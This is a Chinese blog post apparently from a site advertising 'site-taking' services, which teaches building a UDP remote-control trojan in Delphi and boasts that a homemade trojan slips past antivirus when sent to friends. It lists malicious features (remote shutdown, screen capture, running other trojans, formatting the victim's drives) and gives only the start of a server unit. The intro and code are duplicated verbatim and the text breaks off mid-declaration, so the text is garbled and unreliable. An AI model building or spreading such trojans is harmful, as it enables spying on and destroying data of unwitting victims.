欢迎来到Heck's Blog，专业承接拿站、企业建站、仿站、网上商城架构、门户网站搭建、空间域名注册、软件定制等项目。关注网络安全，因为专注，所以专业，懂得放弃，才能收获。有事请发邮件至i@heckjj.com，请记住本站网址：http://www.heckjj.com，多谢。
10月27
大家好呀，Heck最近查阅了一些资料，找了一些大家应该很感兴趣的东东，现在各种杀毒软件搞得冰河等等木马鼠串，没有容身之地，你自己做一个木马就不一样了，嘿嘿，发给你的好友，杀得出来才怪事情。
UDP协议用处多多，现在让我们用它来搞一个木马，一个简单的搞恶作剧的木马。首先，我们列举一下应该实现的功能，能对目标机进行关闭重启动；能让对方两眼一抹黑，黑屏，并且能解除；给对方弹点调侃的消息框；能把对方的鼠标锁定在某个区域内；能隐藏或者显示对方桌面；能抓屏，看看她（他）在干什么；能让对方的光驱像得了抽风病一样进进出出；能在对方机器上远程运行点其他木马什么什么的；直接格式化对方逻辑盘，C:盘也可以在重新启动后格式化（此招太黑，不可乱用）。
能对本文产生兴趣的朋友，一定对远程控制程序结构不陌生，服务端和客户端，我们先不讨论怎么实现服务端的隐藏运行，先来看看实现第一个功能，远程关机的实现，我们调用API函exitwindowsex。服务端的程序头如下
unit Server;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, NMUDP, StdCtrls,shellapi,mmsystem;
//记住加上shellapi,mmsystem;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
CUDP: TNMUDP;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure FormDestroy(Sender: TObject);
private
procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
//拦截WM_QUERYENDSESSION消息并处理
UDP协议用处多多，现在让我们用它来搞一个木马，一个简单的搞恶作剧的木马。首先，我们列举一下应该实现的功能，能对目标机进行关闭重启动；能让对方两眼一抹黑，黑屏，并且能解除；给对方弹点调侃的消息框；能把对方的鼠标锁定在某个区域内；能隐藏或者显示对方桌面；能抓屏，看看她（他）在干什么；能让对方的光驱像得了抽风病一样进进出出；能在对方机器上远程运行点其他木马什么什么的；直接格式化对方逻辑盘，C:盘也可以在重新启动后格式化（此招太黑，不可乱用）。
能对本文产生兴趣的朋友，一定对远程控制程序结构不陌生，服务端和客户端，我们先不讨论怎么实现服务端的隐藏运行，先来看看实现第一个功能，远程关机的实现，我们调用API函exitwindowsex。服务端的程序头如下
unit Server;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, NMUDP, StdCtrls,shellapi,mmsystem;
//记住加上shellapi,mmsystem;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
CUDP: TNMUDP;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure FormDestroy(Sender: TObject);
private
procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
//拦截WM_QUERYENDSESSION消息并处理
